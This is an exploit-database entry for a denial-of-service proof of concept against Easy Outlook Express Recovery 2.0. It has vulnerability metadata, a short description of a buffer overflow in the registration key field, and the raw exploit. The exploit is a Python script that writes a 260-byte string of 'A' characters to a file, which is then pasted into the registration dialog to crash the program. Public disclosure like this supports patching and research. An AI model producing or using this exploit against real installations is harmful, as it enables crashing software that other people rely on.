Easy Outlook Express Recovery 2.0 - Denial of Service (PoC)

vendor:

Easy Outlook Express Recovery

by:

Ihsan Sencan

7.8

CVSS

HIGH

Denial of Service

CWE

Product Name: Easy Outlook Express Recovery

Affected Version From: 2.0

Affected Version To: 2.0

Patch Exists: YES

Related CWE: N/A

CPE: a:munsoft:easy_outlook_express_recovery:2.0

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: WiN7_x64/KaLiLinuX_x64

2018

Easy Outlook Express Recovery 2.0 – Denial of Service (PoC)

A buffer overflow vulnerability exists in Easy Outlook Express Recovery 2.0, which could allow an attacker to cause a denial of service condition. The vulnerability is due to an input validation error when handling a specially crafted registration key. An attacker can exploit this vulnerability by creating a malicious registration key and pasting it into the registration key field. Successful exploitation of this vulnerability could result in a denial of service condition.

Mitigation:

Upgrade to the latest version of Easy Outlook Express Recovery 2.0.

Source

Exploit-DB raw data:

# Exploit Title: Easy Outlook Express Recovery 2.0 - Denial of Service (PoC)
# Dork: N/A
# Date: 2018-11-15
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://www.munsoft.com/EasyOutlookExpressRecovery/
# Software Link: https://s3.eu-central-1.amazonaws.com/munsoft-com-de/EasyOutlookExpressRecovery/download/EasyOutlookExpressRecovery-2.0-Setup.exe
# Version: 2.0
# Other Affectted Software:
# Easy Outlook Recovery 2.0
# Software Link: https://s3.eu-central-1.amazonaws.com/munsoft-com-de/EasyOutlookRecovery/download/EasyOutlookRecovery-2.0-Setup.exe
# Easy Mail Recovery 2.0
# Software Link: https://s3.eu-central-1.amazonaws.com/munsoft-com-de/EasyMailRecovery/download/EasyMailRecovery-2.0-Setup.exe
# Easy Office Recovery 2.0
# Software Link: https://s3.eu-central-1.amazonaws.com/munsoft-com-de/EasyOfficeRecovery/download/EasyOfficeRecovery-2.0-Setup.exe
# Easy File Undelete 3.0
# Software Link: https://s3.eu-central-1.amazonaws.com/munsoft-com-de/EasyFileUndelete/download/EasyFileUndelete-3.0-Setup.exe
# Easy NTFS Data Recovery 3.0
# Software Link: https://s3.eu-central-1.amazonaws.com/munsoft-com-de/EasyNTFSDataRecovery/download/EasyNTFSDataRecovery-3.0-Setup.exe
# Easy FAT Data Recovery 3.0
# Software Link: https://s3.eu-central-1.amazonaws.com/munsoft-com-de/EasyFATDataRecovery/download/EasyFATDataRecovery-3.0-Setup.exe
# Easy Drive Data Recovery 3.0
# Software Link: https://s3.eu-central-1.amazonaws.com/munsoft-com-de/EasyDriveDataRecovery/download/EasyDriveDataRecovery-3.0-Setup.exe
# Easy Digital Photo Recovery 3.0
# Software Link: https://s3.eu-central-1.amazonaws.com/munsoft-com-de/EasyDigitalPhotoRecovery/download/EasyDigitalPhotoRecovery-3.0-Setup.exe

# Category: Dos
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# Help / Enter a registration key...

#!/usr/bin/python
    
buffer = "A" * 260
 
payload = buffer
try:
    f=open("exp.txt","w")
    print "[+] Creating %s bytes evil payload." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created."